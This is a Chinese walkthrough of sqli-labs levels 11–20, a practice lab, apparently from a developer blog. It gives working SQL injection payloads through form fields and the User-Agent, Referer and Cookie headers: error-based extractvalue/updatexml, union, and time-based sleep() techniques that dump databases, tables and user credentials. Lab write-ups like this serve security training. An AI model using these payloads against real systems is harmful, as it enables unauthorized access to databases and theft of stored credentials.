sqli-labs(11-20)
less-11
本关还可以使用union联合查询注入和盲注
(1)使用burpsuite抓包,修改参数构造payload。
输入uname=admin' and 1=1--+&passwd=admin&submit=Submit
可以登录
(2)输入uname=admin' and 1=2--+&passwd=admin&submit=Submit
发现无法登录,说明注入有效,存在报错型注入,接下来又是重复性的工作,上extractvalue()
(3)爆库
uname=admin' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))--+&passwd=admin&submit=Submit //通过不断改变limit x,1中x的值就可以爆出数据库中所以的库
(4)查看当前数据库
uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=admin&submit=Submit
(5)爆表
uname=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+&passwd=admin&submit=Submit
(6)爆列
uname=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+&passwd=admin&submit=Submit
(7)爆数据
uname=admin' and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1)))--+&passwd=admin&submit=Submit
less-12
1、union联合查询注入
和less-11差不多,改一下闭合方式即可。使用双引号和括号进行闭合
uname=0") union select database(),user()--+&passwd=admin&submit=Submit
2、报错注入
报错注入和less-11不太一样。查看源码
(1)可以看到sql查询语句语句:@sql="SELECT username,password FROM users WHERE username=($uname) and password=($password) LIMIT 0,1";构造一个能闭合语句而且会报错的payload:admin" and extractvalue(1,concat(0x7e,(select database()))) and "
(2)最终admin="admin" and extractvalue(1,concat(0x7e,(select database()))) and " "
传入后就变成了:@sql="SELECT username,password FROM users WHERE username="admin" and extractvalue(1,concat(0x7e,(select database()))) and " " and password=($passwd) LIMIT 0,1";
前闭合,中间查询,后面报错,应该是没有问题的这样可以回显:uname=admin" and " &passwd=123456&submit=Submit
(3)使用extractvalue进行报错注入。
uname=admin" and extractvalue(1,concat(0x7e,database())) and " &passwd=123456&submit=Submit
后面老一套就不再重复了
less-13
登录之后发现没有回显信息,所以union联合注入行不通了,只能通过报错注入和盲注
1、报错注入
uname=admin') and extractvalue(1,concat(0x7e,database())) and ('&passwd=123456&submit=Submit
后面过程和前面一样
less-14
和less-13差不多,只是闭合方式变了
uname=admin" and extractvalue(1,concat(0x7e,database())) and "&passwd=123456&submit=Submit
less-15
不论是正确登录,还是错误登录,都没有回显,那就时间延迟吧
错误登录不返回错误信息了,所以只能使用盲注
uname=admin' and if(substr(database(),1,1)='s',sleep(10),1)#&passwd=123456&submit=submit
出现明显延迟。所以数据库的第一个字母为s
布尔盲注也可以
uname=adminn' or (database())='security'#&passwd=123456&submit=submit
less-16
把admin’换成admin’’)其他的步骤都一样
less-17
查看源码发现对uname做了check_input的处理,check_input()函数如下,看看是怎么处理的:
但是passwd参数没有做check_input处理,所以可以在passwd注入
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database()),1)--+&submit=Submit
less-18
登录成功后看到uer-agent的回显,猜测注入点在user-agent。
查看源码发现passwd参数也做了check_input处理,又看到了inseert语句,他把user-agent插入到数据库,所以可以从这里下手,而且看到除开是单引号型,接下来开始爆破
后面步骤一样,不在赘述
less-19
本题和上一题很像,回显是referer,查一下php文加可以发现,insert语句中向数据库插入了referer,所以注入点改为referer
Referer: ' and extractvalue(1,concat(0x7e,database())) and '
less-20
登录后页面显示
查看源码,可以看到查询语句查询cookee,那我们就在cookies里面进行注入
看到cookie:uname=admin ,就可以以cookie注入了
(1)加单引号
报错
(2)加双引号
没有报错,所以是单引号型
(3)判断列数,输入' order by 3--+
正常显示
(4)输入' order by 4--+
报错,说明只有三列
(5)爆库
(6) 爆表
Cookie:uname=-admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security" --+
后面和前面一样,不在赘述。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效